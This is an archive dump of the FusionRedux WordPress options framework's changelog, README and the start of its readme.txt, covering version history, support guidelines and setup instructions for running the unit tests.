3.2.8.16 * Added: `output` argument for `color` and `color_rgba` fields accepts key/pairs for different modes. Example: ``` 'output' => array('color' => '.site-title, .site-header', 'background-color' => '.site-background') ``` ## 3.2.8.15 * Added: Customizer hook that can be used to simulate the customizer for live preview in the customizer. `fusionredux/customizer/live_preview` ## 3.2.8.14 * Fixed: 'Cannot send header' issues with typography. * Modified: Google CSS moved into HEAD via WP enqueue. ## 3.2.8.13 * Added: `class` argument to the FusionRedux Arguments, section array, and metabox array. If set, a class will be appended to whichever level is used. This allows further customization for our users. ## 3.2.8.12 * Fixed: Small fix for validation if subsection parent is free of errors, remove the red highlight when not expanded. * Fixed: Small CSS classes for flashing fonts where web-font-loader. * Fixed: ASync Flash on fonts. FINALLY. What a pain. * Modified: Now do a trim on all fields before validating. No need to alert because of a space... ## 3.2.8.11 * Modified: Typography field CSS completely rewritten. All thanks to @eplanetdesign! * Modified: Validation now works in metaboxes as well as updates numbers as changes occur. Validation for subsections is SO hot now. * Modified: Various CSS fixes and improvements. * Fixed: 3+ JavaScript errors found in the background field. Now works flawlessly. * Added: disable_save_warn flags to the arguments to disable the "you should save" slidedown. ## 3.2.8.10 * Fixed: PHP warnings in background field. #1173. Thanks, @abossola. * Fixed: CSS validation not respecting child selector symbol. #1162 ## 3.2.8.9 * Modified: Turned of mod_rewrite check. ## 3.2.8.8 * Modified: How errors are displayed, no longer dependent on the ID, now proper classes. * Fixed: Extra check for typography bug. * Fixed: Error css alignment issue with subsections. * Modified: Error notice stays until all errors are gone. Also updates it's number as errors fixed! ## 3.2.8.7 * Modified: Moved google font files to proprietary folder in upload to help with permission issues. ## 3.2.8.6 * Fixed: javascript error in typography field. ## 3.2.8.5 * Fixed: Added a title to the google fonts stylesheet to fix validation errors. ## 3.2.8.4 * Fixed: One more slides field error check, and an extra JS goodie for an extension. ## 3.2.8.3 * Fixed: Leftover debug code messing up slides field. ## 3.2.8.2 * Fixed: More reliable saved action hook. * Added: Actions hooks for errors and warnings. ## 3.2.8.1 * Fixed: Removed erroneous debug output in link_color field. ## 3.2.7.3 * Added: is_empty / empty / !isset AND not_empty / !empty / isset as required operations ## 3.2.7.2 * Fixed: Reset defaults error. * Added: `show` argument to turn on and off input boxes in slider. ## 3.2.7.1 * Fixed: Required now works with muti-check fields and button set when set to multi. ## 3.2.7 * Fixed: Import works again. A single line was missed... ## 3.2.6.2 * Fixed: link_color field not outputting CSS properly via compiler or output. Thanks @vertigo7x * Fixed: Sorter field CSS. Buttons were all smushed together. ## 3.2.6.1 * Fixed: 'undefined' error in typography.js. Thanks @ksere. ## 3.2.6 * Fixed: Another stray undefined index. Oy. ## 3.2.5.1 * Added: `open_expanded` argument to start the panel completely expanded initially. ## 3.2.5 * Fixed: Various bad mistakes. Oy. ## 3.2.4 * Fixed: Slight typography speed improvement. Less HTML hopefully faster page loads. * Fixed: Unload error on first load if the typography defaults are not set. ## 3.2.3.5 * Modified: Moved update check functions to class file and out of the core. * Fixed: Errors pertaining to mod_rewrite check. ## 3.2.3.4 * Fixed: All those headers already set errors. ## 3.2.3.3 * Added: $changed_values variable to save hooks denoting the old values on a save. * Added: Pointers to Extensions on load. * Modified: CSS Output for the background field. ## 3.2.3.2 * Fixed: Validation error messages not appearing on save. * Modified: Speed boost on validation types. * Added: Apache mod_rewrite check. This should solve many issues we've been seeing regarding mod_rewrite noe being enabled. ## 3.2.3.1 * Fixed: Sortable field not saving properly. * Fixed: Erroneous data in admin.less * Updated: sample-config.php. Sortable checkbox field example now uses true/false instead of text meant for textbox example. ## 3.2.3 * Fixed: Responsive issues with spacing and dimension fields. ## 3.2.2.16 * Fixed: Style conflicts with WP 3.9. Added register filter to fields via id. ## 3.2.2.15 * Fixed: Metaboxes issues. ## 3.2.2.14 * Modified: Some admin panel stylings. Now perfect with mobile hover. Also fixed an issue with the slidedown width for sections. No more 2 empty pixels. ## 3.2.2.13 * Added: Tick mark if section has sub sections. Hidden when subsections expanded. ## 3.2.2.12 * Fixed: Compiler hook in the customizer now passes the CSS. ## 3.2.2.11 * Fixed: Compiler hook now properly fires in the customizer. ## 3.2.2.10 * Fixed: Validation error with headers already being set. ## 3.2.2.9 * Fixed: Added mode for width/height to override dimensions css output. ## 3.2.2.8 * Fixed: Restoring lost formatting from multiple merges. ## 3.2.2.7 * Fixed: New sorter default values get set properly now. ;) ## 3.2.2.6 * Added: `data` and `args` can now be set to sorter! Just make sure to have it be a key based on what you want it to display as. IE: `array('Main'=>'sidebars')` ## 3.2.2.5 * Added: Prevent FusionRedux from firing on AJAX heartbeat, but added hook for it 'fusionredux/ajax/heartbeat'. * Fixed: Removed erroneous 's' character from HTML. ## 3.2.2.4 * Added: Check to make sure a field isn't empty after the filter. If it is empty, skip over it. ## 3.2.2.3 * Added: Subsections now show icon if they have it. Show text only (without indent) if they do not. ## 3.2.2.2 * Added: Set a section or field argument of `'panel' => false` to skip over that field or panel and hide it. It will still be registered with defaults saved, but not display. This can be useful for things like the customizer. ## 3.2.2.1 * Added: SUBSECTIONS! Just add `'subsection' => true` to any section that isn't a divide/callback and isn't the first section in your panel. ;) ## 3.2.1.2 * Fixed: Info field didn't intend within section. ## 3.2.1.1 * Fixed: Compiler hook wasn't running. ## 3.1.9.44 * Fixed: Small bug in image_select javascript. ## 3.1.9.43 * Added: Import hook, just because we can. :) ## 3.1.9.42 * Fixed: Customizer now TRULY outputting CSS if output_tag is set to false. ## 3.1.9.41 * Fixed: Reset section, etc. Discovered an odd WordPress thing. ## 3.1.9.40 * Fixed: Image_select size override. * Fixed: Customizer save not firing the compiler hook. * Fixed: Customizer not outputting CSS if output_tag is set to false. * Fixed: Small empty variable check. Undefined index in the defaults generating function. ## 3.1.9.39 * Fixed: WP 3.9 update made editor field button look ugly. * Fixed: Save hook not firing when save_default set to false. ## 3.1.9.38 * Fixed: Reset section anomalies. Maybe. ## 3.1.9.37 * Fixed: Array of values in required not recognized. ## 3.1.9.36 * Fixed: Updated hint defaults to prevent index warning. ## 3.1.9.35 * Fixed: Removed leftover debug code. ## 3.1.9.34 * Added: New readonly argument for text field. ## 3.1.9.33 * Fixed: Reset/Reset section actions hooks now fire properly. ## 3.1.9.32 * Fixed: When developer uses section field but does not specify an indent argument. ## 3.1.9.31 * Fixed: Dynamic URL for slides * Fixed: Accidently removed reset action on section reset. Restored. ## 3.1.9.30 * Fixed: Section defaults bug for certain field types. ## 3.1.9.29 * Fixed: Dynamic URL if site URL changed now updates media properly if attachement exists. ## 3.1.9.28 * Fixed: Customizer now correctly does live preview. ## 3.1.9.27 * Fixed: Special enqueue case fix. ## 3.1.9.26 * Added: A few more hooks for defaults and options. * Fixed: Small undefined index error. * Added: Section key generation via title. * Modified: File intending. ## 3.1.9.25 * Fixed: Custom menus not displaying options panel. ## 3.1.9.24 * Fixed: Single checkbox option not retaining checked value. * Fixed: Border field returning bad CSS in CSS compiler. ## 3.1.9.23 * Fixed: Import/Export fix. Thanks, CGlingener! ## 3.1.9.22 * Added: Save warning now is sticky to the top and responsive. * Fixed: Mobile fixes for FusionRedux. Looks great on small screens how. * Fixed: Slight CSS fixes. * Fixed: Compiler fixes and added notices. * Added: Import/Export more reasonable text. ## 3.1.9.21 * Added: `force_output` are on the field level to bypass the required check that removes the output if the field is hidden. Thanks @rffaguiar. ## 3.1.9.20 * Fixed: Rare case (mediatemple grid server) when file_get_contents won't work outside of the uploads dir. Used curl to grab the font HTML. ;) ## 3.1.9.19 * Fixed: Undefined index for admin bar. ## 3.1.9.18 * Fixed: SMALL issue with WordPress 3.9. Now it works. ;) ## 3.1.9.17 * Fixed: Info and divide field now work with required. ## 3.1.9.16 * Added: Fallback. Now if the media, slides, or background URL doesn't match the site URL, but the attachment ID is present, the data is updated. ## 3.1.9.15 * Fixed: Last tab not properly set. Slow rendering. ## 3.1.9.14 * Modified: Replaced transients with cookies. ## 3.1.9.13 * Fixed: Undefined variable issues for new required methods. ## 3.1.9.12 * Fixed: Default_show display error with a non-array being steralized. * Added: Multiple required parent value checking! Booya! * Fixed: Sections now fold with required. ## 3.1.9.11 * Fixed: select3 not rendering properly when dev_mode = false, because of ace_editor fix. * Fixed: Removed mistakenly compiled test code from fusionredux.js. ## 3.1.9.10 * Fixed: ace_editor not rendering properly in certain instances. * Modified: Small change to import_export field in checking for existing instance of itself. ## 3.1.9.9 * Fixed: import_export not rendering when the menutype argument was set to menu ## 3.1.9.8 * Fixed: Ace_editor not enqueued unless used. MEMORY HOG. ## 3.1.9.7 * Fixed: Color_Gradient transparency to was being auto-selected if from way transparent. * Fixed: Enqueue select with slider for local dev. ## 3.1.9.6 * Modified: removed add_submenu_page when creating a submenu for us in the WP admin area. WP approved API is used in it's place to being FusionRedux up to wp.org theme check standards. ## 3.1.9.5 * Fixed: Massive speed issue with button_set. Resolved. * Fixed: Issue where default values throws an error if ID is not set. ## 3.1.9.4 * Fixed: Continuing effort to ensure proper loading of config from child themes. ## 3.1.9.3 * Fixed: Import/Export array search bug if section['fields'] is not defined. ## 3.1.9.2 * Fixed: Inconsistencies in import/export across different versions of PHP. ## 3.1.9.1 * Fixed: FusionRedux checks for child or parent theme exclusively before loading. ## 3.1.9 * Updated: RGBA Field stability. Thank you, SilverKenn. ## 3.1.8.23 * Modified: Separated Import/Export from the core. It can now be used as a field. ## 3.1.8.22 * Fixed: Typography custom preview text/size not outputting. * Fixed: No font selected in typography would default to 'inherit'. * Fixed: Hint feature kicking back a notice if no title was specified. ## 3.1.8.21 * Fixed: Sortable field, when used a checkboxes, were all checked by default, even when set not to be. * Fixed: button_set field not setting properly in multi mode. ## 3.1.8.20 * Fixed: Javascript console object not printing options object. * Fixed: Load errors from child themes no longer occur. ## 3.1.8.19 * Modified: Typography word and letter spacing now accept negative values. * Modified: Typography preview shows spaces between upper and lower case groupings. * Fixed: Compiler output for slider field. ## 3.1.8.18 * Fixed: update_check produced a fatal error on a local install with no internet connection. * Modified: Google font CSS moved to header so pages will pass HTML5 validation. ## 3.1.8.17 * Fixed: Compiler hook failing on slider. ## 3.1.8.16 * Fixed: Error on update_check when the response code was something other than 200. * Modified: Removed Google font CSS line from header (because it's in the footer via wp_enqueue_style. ## 3.1.8.15 * Added: Admin notice for new builds of FusionRedux on Github as they become available. This feature is available on in dev_mode, and may be turned off by setting the `update_notice` argument to false. See the Arguments page of the wiki for more details. * Added: text-transform option for the typography field. * Fixed: image_select images not resizing properly in FF and IE. * Fixed: Layout for the typography field, so everything isn't smushed together. The new layout is as follows: [family-font] [backup-font] [style] [script] [align] [transform] [size] [height] [word space] [letter space] [color] ## 3.1.8.14 * Added: Newsletter sign-up popup at first load of the FusionRedux options panel. ## 3.1.8.12 * Added: Added PHP 5.2 support for import/export. ## 3.1.8.11 * Added: Action hooks for options reset and options reset section. * Added: Theme responsive for date picker. ## 3.1.8.10 * Added: New slider. Better looking UI, double handles and support for floating point values. See the wiki for more info. ## 3.1.8.9 * Fixed: link_color field showing notice on default, if user enters no defaults. * Fixed: Fixed tab notice in framework.php if no tab parameter is set in URL. ## 3.1.8.8 * Added: Typography improvements. ## 3.1.8.7 * Added: Hints! More info: https://github.com/FusionReduxFramework/FusionReduxFramework/wiki/Using-Hints-in-Fields ## 3.1.8.6 * Added: Complete Wordpress admin color styles. Blessed LESS/SCSS mixins. ;) ## 3.1.8.5 * Added: Font family not required for the typography module any longer. ## 3.1.8.4 * Added: Support for using the divide field in folding. * Added: Error trapping in typography.js for those still attempting to use typography with no font-family. ## 3.1.8.3 * Added: Full asynchronous font loading. * ## 3.1.8.2 * Added: email_not_empty validation field. * Reverted: email validation field only checks for valid email. not_empty check moved to new validation field. ## 3.1.8.1 * Fixed: Hide demo hook wasn't hiding demo links. ## 3.1.8 * Fixed: Improper enqueue in tracking class. * Fixed: Few classes missed for various fields. * Fixed: Spacing field kicking back notices and warnings when 'output' wasn't set. * Modified: Added file_exists check to all include lines in framework.php * Fixed: Background field now works with dynamic preview as it should. * Fixed: Extension fields now enqueueing properly. * Added: Text-align to typography field. * Fixed: Servers returning forwards slashes in TEMPLATEPATH, while FusionRedux is installed embedded would not show options menu. * Fixed: On and Off for switch field not displaying language translation. * Fixed: email validation allowing a blank field. * Fixed: Now allow for empty values as valid keys. * Added: Dismiss option to admin notices (internal function) ## 3.1.6 * Fixed: CSS spacing issue * Fixed: Customizer now works and doesn't break other customizer fields outside of FusionRedux. * Fixed: Several minor bug fixes * Added: Metabox support via extension http://fusionreduxframework.com/extensions/ * Added: Admin-bar menu * Fixed: Section field now folds. * Fixed: wp_content_dir path now handles double forward slashes. * Fixed: Typography field missing italics in Google fonts. * Fixed: Default color in border field not saving properly. * Fixed: hex2rgba in class.fusionredux_helpers.php changed to static. * Fixed: 'sortable' field type not saving options as default. * Fixed: Specified default color not set when clicking the color box default button. * Fixed: Sorter field options are now saved as default in database. * Fixed: Issues with checkboxes displaying default values instead of labels. * Fixed: Outstanding render issues with spacing field. * Fixed: Plugins using FusionRedux from load failure. * Fixed: 'not_empty' field validation. * Fixed: Media field. * Added: 'read-only' option for media text field. * Added: 'mode' option to image_select, so CSS output element may be specified. * Added: Admin Bar menu for option panel. * Modified: Removed raw_align field and added align option to raw field. See wiki for more info. * Modified: media field 'read-only' to 'readonly' to vonform to HTML standards. * Removed: EDD extension. It never belonged in Core and will be re-released as a downloadable extension shortly * Removed: Group field, temporarily. * Removed: wp_get_current_user check. ## 3.1.5 * Typography font arrays may not contain comma spaces. * Merge in pull request - 542, code cleanup and better readability * Change how HTML is output to support metaboxes * CSS only on pages that matter, better checks. * font-backup in typography now appends to font-family in output and compiler. * More fixes for Google font css outputting. * Addded output and compiler to field_image_select. Images will be output as 'background-image'. * Fixed output in field_background. * Prevent standard fonts from outputting to Google fonts CSS call. * class_exists in field_section checking for incorrect classname. * sample_config fix. * Compiler not outputting CSS without output set to comthing other than false. * Google fonts not rendering on frontend. * Rewrote sample_config as a class ## 3.1.4 * Fixed error in fusionredux-framework.php. * Added select_image field. ## 3.1.3 * Fixed a few undefined variables * Removed old code from the repo. * Fix for validation. * Remove the compiler hook by default. * Fix to sortable field. * Added an extra check for link color. Removes user error. * Localization updates. * Error in slides. * Fixed the info box bug with spacing and padding. * Fixed the first item in each section having WAY too much padding. ;) * Fixed section reset issue where values weren't being saved to the db properly. ## 3.1.2 * Feature - Sortable select boxes! * Feature - Reset a section only or the whole panel! * New Field - RGBA Color Field! * Improvement - Use of REM throughout. * Fixed Typography - Fix output option and various small bugs. * Fixed Border - Fix output option and various small bugs. * Fixed Dimensions - Fix output option and various small bugs. * Fixed Image_select - Various small bugs. * Fixed Slides - Various small bugs. * Fixed Sortable - Using native jQuery UI library same as within WordPress. * Fixed Slider and Spinner Input Field - Values now move to the closest valid value in regards to the step, automatically. * Fixed Ace Editor * FEATURE - All CSS/JS files are compiled into a single file now! Speed improvements for the backend. * Fix in how WordPress data is received, improved some output. * Fix for various fields not triggering fold/compiler/save. * Fixed elusive icons to use the new version and classes. * Fixed media thumb to only be the thumbnail version. * Fixed admin https error with WordPress core not renaming URL. * Placeholders throughout the framework are now properly there. * Feature - Setting to not save defaults to database on load. * Fixed - Computability issue with GT3 builder. * Fixed localization issue with default values. * Language - Added Russian * Feature - Media now can have any content type passed in to limit content types. * Allow negative values in typography and other fields. * WordPress 3.8 computability. * CSS validation issue. * Feature - User contributed text direction feature. * EDD Extension now fully function for plugins or themes. * Removed get_theme_data() fallbacks, we're well pass WordPress 3.4 now. ;) * A ton of other small updates and improvements. ## 3.1.0 * Fix Issue 224 - Image Select width was breaking the panel. * Fix Issue 181 - Broken panel in firefox * Fix Issue 225 - 0px typography bug. Thanks @partnuz. * Fix Issue 228 - Resolved a duplicated enqueue on color_link field. Thanks @vertigo7x. * Fix Issue 231 - Field spacing bug fixes. * Fix Issue 232 & 233 - Dimensions: bug fix with units and multiple units. Thanks @kpodemski * Fix Issue 234 - Pass options as a ref so validating actions can modify/sanitize them. Thanks @ZeroBeeOne * Fix Issue 222 - Tab cookie function wasn't working. * Feature - Pass params to Select3. Thanks @andreilupu * Fix Issue 238 - Fix for conditional output. Thanks @partnuz. * Fix Issue 211 - Google Web font wasn't loading at first init of theme. * Fix Issue 210 - Elusive Icons update. Changed classes to force use of full elusive name. * Fix Issue 247 - Media thumbnails were not showing. Also fixed media to keep the largest file, but display the small version in the panel as a thumb. Thanks @kwayyinfotech. * Fix Issue 144 - JS error when no item found in slider. * Fix Issue 246 - Typography output errors. * Feature & Issue 259 - Multi-Text now support validation! * Fix Issue 248/261 - Links color issue. Also fixed color validation. * Feature & Issue 262 - Now registered sidebars can be used as a data type. * Fix Issue 194/276 - Custom taxonomy terms now passing properly. Thanks @kprovance. * Feature & Issue 273 - Argument save_defaults: Disable the auto-save of the default options to the database if not set. * Feature - Docs now being moved to the wiki for community participation. * Issue 283 - Date placeholder. Thanks @kprovance. * Issue 285 - HTTPS errors on admin. Known WordPress bug. Resolved. * Fix Issue 288 - Float values now possible for border, dimensions, and spacing. * Feature - Media field can now accept non-image files with a argument being set. * Fix Issue 252 - Post Type data wasn't working properly. Thanks @Abu-Taymiyyah. * Fix Issue 213 - Radio and Button Set wasn't folding. ## 3.0.9 * Feature - Added possibility to set default icon class for all sections and tabs. * Feature - Make is to the WP dir can be moved elsewhere and FusionRedux still function. * Added Spanish Language. Thanks @vertigo7x. * Fix Issue 5 - Small RGBA validation fix. * Fix Issue 176 - Fold by Image Select. Thanks @andreilupu. * Fix Issue 194 - Custom taxonomy terms in select field. * Fix Issue 195 - Border defaults not working. * Fix Issue 197 - Hidden elements were showing up on a small screen. Thanks @ThinkUpThemes. * Fix issue 200 - Compiler not working with media field. * Fix Issue 201 - Spacing field not using default values. * Fix Issue 202 - Dimensions field not using units. * Fix Issue 208 - Checkbox + Required issue. * Fix Issue 211 - Google Font default not working on page load. * Fix Issue 214 - Validation notice not working for fields. * Fix Issue 181/224 - Firefox 24 image resize errors. * Fix Issue 223 - Slides were losing the url input field for the image link. * Fix - Various issues in the password field. * Fixed various spelling issues and typos in sample-config file. * Initialize vars before extract() - to shut down undefined vars wargnings. * Various other fixes. ## 3.0.8 * Version push to ensure all bugs fixes were deployed to users. Various. ## 3.0.7 * Feature - Completely redone spacing field. Choose to apply to sides or all at once with CSS output! * Feature - Completely redone border field. Choose to apply to sides or all at once with CSS output! * Feature - Added opt-in anonymous tracking, allowing us to further analyze usage. * Feature - Enable weekly updates of the Google Webfonts cache is desired. Also remove the Google Webfont files from shipping with FusionRedux. Will re-download at first panel run to ensure users always have the most recent copy. * Language translation of german updated alone with FusionReduxFramework pot file. * Fix Issue 146 - Spacing field not storing data. * Fix - Firefox field description rendering bug. * Fix - Small issue where themes without tags were getting errors from the sample data. ## 3.0.6 * Hide customizer fields by default while still under development. * Fix Issue 123 - Language translations to actually function properly embedded as well as in the plugin. * Fix Issue 151 - Media field uses thumbnail not full image for preview. Also now storing the thumbnail URL. Uses the smallest available size as the thumb regardless of the name. * Fix Issue 147 - Option to pass params to select3. Contributed by @andreilupu. Thanks! * Added trim function to ace editor value to prevent whitespace before and after value keep being added * htmlspecialchars() value in pre editor for ace. to prevent html tags being hidden in editor and rendered in dom * Feature: Added optional 'add_text' argument for multi_text field so users can define button text. * Added consistent remove button on multi text, and used sanitize function for section id * Feature: Added roles as data for field data * Feature: Adding data layout options for multi checkbox and radio, we now have quarter, third, half, and full column layouts for these fields. * Feature: Eliminate REDUX_DIR and REDUX_URL constants and instead created static FusionReduxFramework::$\_url and FusionReduxFramework::$\_dir for cleaner code. * Feature: Code at bottom of sample-config.php to hide plugin activation text about a demo plugin as well as code to demo how to hide the plugin demo_mode link. * Started work on class definitions of each field and class. Preparing for the panel builder we are planning to make. ## 3.0.5 * Fixed how FusionRedux is initialised so it works in any and all files without hooking into the init function. * Issue #151: Added thumbnails to media and displayed those instead of full image. * Issue #144: Slides had error if last slide was deleted. * Color field was outputting hex in the wrong location. * Added ACE Editor field, allowing for better inline editing. ## 3.0.4 * Fixed an odd saving issue. * Fixed link issues in the framework * Issue #135: jQuery UI wasn't being properly queued * Issue #140: Admin notice glitch. See http://fusionreduxframework.com/2013/10/wordpress-notifications-custom-options-panels/ * Use hooks instead of custom variable for custom admin CSS * Added "raw" field that allows PHP or a hook to embed anything in the panel. * Submenus in Admin now change the tabs without reloading the page. * Small fix for multi-text. * Added IT_it and RO_ro languages. * Updated readme file for languages. ## 3.0.3 * Fixed Issue #129: Spacing field giving an undefined. * Fixed Issue #131: Google Fonts stylesheet appending to body and also to the top of the header. Now properly placed both at the end of the head tag as to overload any theme stylesheets. * Fixed issue #132 (See #134, thanks @andreilupu): Could not have multiple WordPress Editors (wp_editor) as the same ID was shared. Also fixed various styles to match WordPress for this field. * Fixed Issue #133: Issue when custom admin stylesheet was used, a JS error resulted. ## 3.0.2 * Improvements to slides, various field fixes and improvements. Also fixed a few user submitted issues. ## 3.0.1 * Backing out a bit of submitted code that caused the input field to not properly break. ## 3.0.0 * Initial WordPress.org plugin release. ## 3.0 FusionRedux is now hosted on WordPress.org! Update in order to get proper, stable updates. * Removed get() and show() * Fixed huge performance bug * More bugfixes * Fixed spacing field * Converted FusionRedux to run as an auto-updating plugin. Getting ready to post to WordPress.org * Fixed the auto updater to properly show changes since the last update * Various fields including link_color, spacing, dimensions * Compiler hooks to allow developers to generate CSS files only when needed * Stability and standardizing in HTML output throughout * PHP/CSS/JS fixes * Compress JS and use LESS (and compressed CSS) throughout ## Version 3.0.0 Beta (September 12, 2013) * Massive code overhaul * Replaced redundant field types with data elements * Migrated to company repo * Added several new storage methods * Numerous bugfixes * Renamed std argument to default * Added MP6 support * Complete CSS rewrite * Globals are now conditional * Added nesting support * Added repeatable field * Restyled Dev Mode * Added System Info tab * Added compiler hooks * Added style and icon support to info field * Switched to Elusive Icons * Huge performance updates ## Version 2.0.1 Final (September 1, 2013) * Added option to override ```icon_type``` per icon * Minor bug/versioning fixes * Added Font Awesome intro * Added ```raw_html``` option * Added ```text_sortable``` option * Switched from Aristo to Bootstrap jQuery UI theme ## Version 2.0.0 (January 31, 2013) * Fixed SSL error which occurred occasionally with Google Webfonts * Added optional flag for ```wpautop``` on editors * Added password field type * Added ```checkbox_hide_all``` option * Added WP3.5 media chooser * Added Google webfonts previews * Updated to WP3.5 color picker * Minor style tweaks * Added graphical 'switch' option for checkboxes * Removed dependency on class extension for fields * Deprecated icons in favor of iconfonts ## Version 1.0.0 (December 5, 2012) * Based on NHP Theme Options Framework v1.0.6 * Cleaned up codebase * Changed option group name to allow multiple instances * Changed checkbox name attribute to id * Added rows attribute to textareas * Removed extra linebreak in upload field * Set default menu position to null to avoid conflicts * Added sample content for dashboard credit line * Minor style changes * Changed name of upload button * Refactored Google Webfonts function * Replaced ```stylesheet_override``` with ```admin_stylesheet``` * Made text domain a constant * Removed PHP closing tags to prevent issues with newlines * Added option to define custom start tab Avada/includes/lib/inc/redux/framework/README.md000064400000016402152342437710015323 0ustar00## FusionRedux Options Framework [![Build Status](https://travis-ci.org/fusionreduxframework/fusionredux-framework.png?branch=master)](https://travis-ci.org/fusionreduxframework/fusionredux-framework) [![Built with Grunt](https://cdn.gruntjs.com/builtwith.png)](http://gruntjs.com/) [![Slack](http://slack.fusionredux.io/badge.svg)](http://slack.fusionredux.io) WordPress options framework which uses the [WordPress Settings API](http://codex.wordpress.org/Settings_API "WordPress Settings API"), Custom Error/Validation Handling, Custom Field/Validation Types, and import/export functionality. ## Posting Guidelines for issues and questions ## When using our Issue Tracker, you may ask questions where you may be a bit lost or need help understanding the documentation. If, however, you find a bug we require you to read and provide the information contained in our [Contributing Guidelines](https://github.com/FusionReduxFramework/fusionredux-framework/blob/master/CONTRIBUTING.md). If you do not provide this information, we will request it before we can support you. If you are stuck in some of your own code, or need help with PHP and anything else not FusionRedux specific, we request you purchase some [Premium Support](http://fusionreduxframework.com/extension/premium-support/) and we will be happy to assist you. If we feel the issue is outside of our scope we will suggest you to purchase some [Premium Support](http://fusionreduxframework.com/extension/premium-support/) in order for us to serve you. ## Kickstart Your Development ## Are you authoring a theme, or plugin? Visit the [FusionRedux Builder](http://build.fusionreduxframework.com) site and get started! ## Demo Your Products ## We help you create a seamless user experience for your users to demo your WordPress products. Not only that, we help you make sure they’re engaged, turning them into a potential customer. Visit [wpdemo.io/](http://wpdemo.io/) ## Documentation ## Need a little help with FusionRedux? Come check out our brand new documentation site at [docs.fusionreduxframework.com](http://docs.fusionreduxframework.com), chock full of tutorials and examples! ## SMOF (Simple Modified Option Users) Converter! ## Hot off the press, our FusionRedux Converter plugin. It takes your SMOF instance, and allows you to try out FusionRedux without any fear. It also spits out valid PHP source for you if you want to migrate complete with data migration! Give it a try today. It will be in the WordPress.org repo shortly. ;) https://github.com/FusionReduxFramework/fusionredux-converter ## Help Us Translate FusionRedux ## Please head over to the wiki to learn how you can help us translate FusionRedux quickly. Any and all are welcome. We appreciate your help! https://github.com/FusionReduxFramework/FusionReduxFramework/wiki/translate ## Getting Started with FusionRedux ## FusionReduxFramework has been built from the ground up to be the most flexible framework around. You can run it as an auto-updating plugin, or embed it inside your plugin or theme. It allows for multiple copies of itself within the same WordPress instance. For a guide on getting started please refer to [https://github.com/FusionReduxFramework/fusionredux-framework/wiki/Getting-Started](https://github.com/FusionReduxFramework/fusionredux-framework/wiki/Getting-Started). You can also [download our sample theme available here](https://github.com/FusionReduxFramework/FusionReduxSampleTheme) to start developing right away. ## Please Post Reviews and Spread the Word ## FusionReduxFramework has just released to the WordPress Plugins directory. Please spread the word, tweet, and (most importantly) post reviews on http://wordpress.org/plugins/fusionredux-framework/. ## Donate to the Framework ## If you can, please donate to help support the ongoing development of FusionRedux Framework! [![Donate to the framework](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif "Donate to the framework")](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=MMFMHWUPKHKPW) ## Features ## * Uses the [WordPress Settings API](http://codex.wordpress.org/Settings_API "WordPress Settings API") * Multiple built in field types * Multple layout field types * Fields can be overloaded with a callback function, for custom field types * Easily extendable by creating Field Classes * Built in Validation Classes * Easily extendable by creating Validation Classes * Custom Validation error handling, including error counts for each section, and custom styling for error fields * Custom Validation warning handling, including warning counts for each section, and custom styling for warning fields * Multiple Hook Points for customisation * Import / Export Functionality - including cross site importing of settings * Easily add page help through the class * Fully responsive options panel * Much more ## Stay In The Loop! ## [![Follow us on Twitter](http://iod.unh.edu/Images/Twitter_follow_us.png "Follow us on Twitter")](https://www.twitter.com/FusionReduxFramework) ## FAQs ## 1. Why should we use ```require_once``` instead of ```get_template_part```? * First, because ```get_template_part``` is for... you guessed it, themes! FusionRedux is designed to work with both themes *and* plugins. * Second, read [this](http://kovshenin.com/2013/get_template_part/). 2. Why shouldn't we edit ```sample-config.php``` in the plugin directory? * Because ```sample-config.php``` will be replaced at each update of the plugin. You will lose all your effort ## Are you using FusionRedux? ## Send us an email at info@fusionreduxframework.com so we can add you to our showcase! ## Changelog ## See [Changelog.md](https://github.com/FusionReduxFramework/fusionredux-framework/blob/master/CHANGELOG.md) ## Running PHP Unit tests ## The tests are built using [wordpress's make subversion repository](https://make.wordpress.org/core/handbook/automated-testing/) `/var/www/wordpress-develop` as the destination for the core test files. First download the wordress core tests repository, for these files. ```bash cd /var/www svn co http://develop.svn.wordpress.org/trunk/ wordpress-develop ``` In the newly created `/var/www/wordpress-develop` directory rename `wp-tests-config-sample.php` to `wp-tests-config.php`. Now add your database details to the new file: ```php // WARNING WARNING WARNING! // These tests will DROP ALL TABLES in the database with the prefix named below. // DO NOT use a production database or one that is shared with something else. define( 'DB_NAME', 'wordpress-tests' ); define( 'DB_USER', 'root' ); define( 'DB_PASSWORD', 'passowrd' ); define( 'DB_HOST', 'localhost' ); define( 'DB_CHARSET', 'utf8' ); define( 'DB_COLLATE', '' ); ``` - n.b. you may need to create the database first. - n.b. n.b. also note that the database used will be emptied on each run. Set the `WP_TESTS_DIR` environment variable so that the `fusionredux-framework` test bootstrap file can find the wordpress core tests: ```bash export WP_TESTS_DIR='/var/www/wordpress-develop/tests/phpunit/includes/' ``` You should now be able to run the `fusionredux-framework` unit tests: ```bash fusionredux-framework$ phpunit Welcome to the TIVWP Test Suite Version: 1.0 Tests folder: /var/www/wordpress-develop/tests/phpunit/includes/ Installing... ... Configuration read from fusionredux-framework/phpunit.xml ... ``` Avada/includes/lib/inc/redux/framework/readme.txt000064400000225342152342437710016047 0ustar00=== FusionRedux Framework === Contributors: dovyp, kprovance Donate link: http://ideas.fusionreduxframework.com Tags: admin, admin interface, options, Global Options, plugin options, options framework, settings, web fonts, google fonts Requires at least: 3.5.1 Tested up to: 4.5 Stable tag: 3.5.9 License: GPLv3 or later License URI: http://www.gnu.org/licenses/gpl-3.0.html FusionRedux is a simple, truly extensible and fully responsive options framework for WordPress themes and plugins. Ships with an integrated demo. == Description == FusionRedux is a simple, truly extensible and fully responsive options framework for WordPress themes and plugins. Built on the WordPress Settings API, FusionRedux supports a multitude of field types as well as: custom error handling, custom fields & validation types, and import/export functionality. But what does FusionRedux actually DO? We don't believe that theme and plugin developers should have to reinvent the wheel every time they start work on a project. FusionRedux is designed to simplify the development cycle by providing a streamlined, extensible framework for developers to build on. Through a simple, well-documented config file, third-party developers can build out an options panel limited only by their own imagination in a fraction of the time it would take to build from the ground up! = Online Demo = Don't take our word for it, check out our online demo and try FusionRedux without installing a thing! [**http://demo.fusionredux.io/**](http://demo.fusionredux.io/) = Use the FusionRedux Builder to Get Started = Want to use FusionRedux, but not sure what to do? Use our [builder](http://build.fusionreduxframework.com/)! It will allow you to make a custom theme based on [_s](http://underscores.me), [TGM](http://tgmpluginactivation.com), and [FusionRedux](http://fusionreduxframework.com), and any FusionRedux arguments you want to set. Don't want to make your 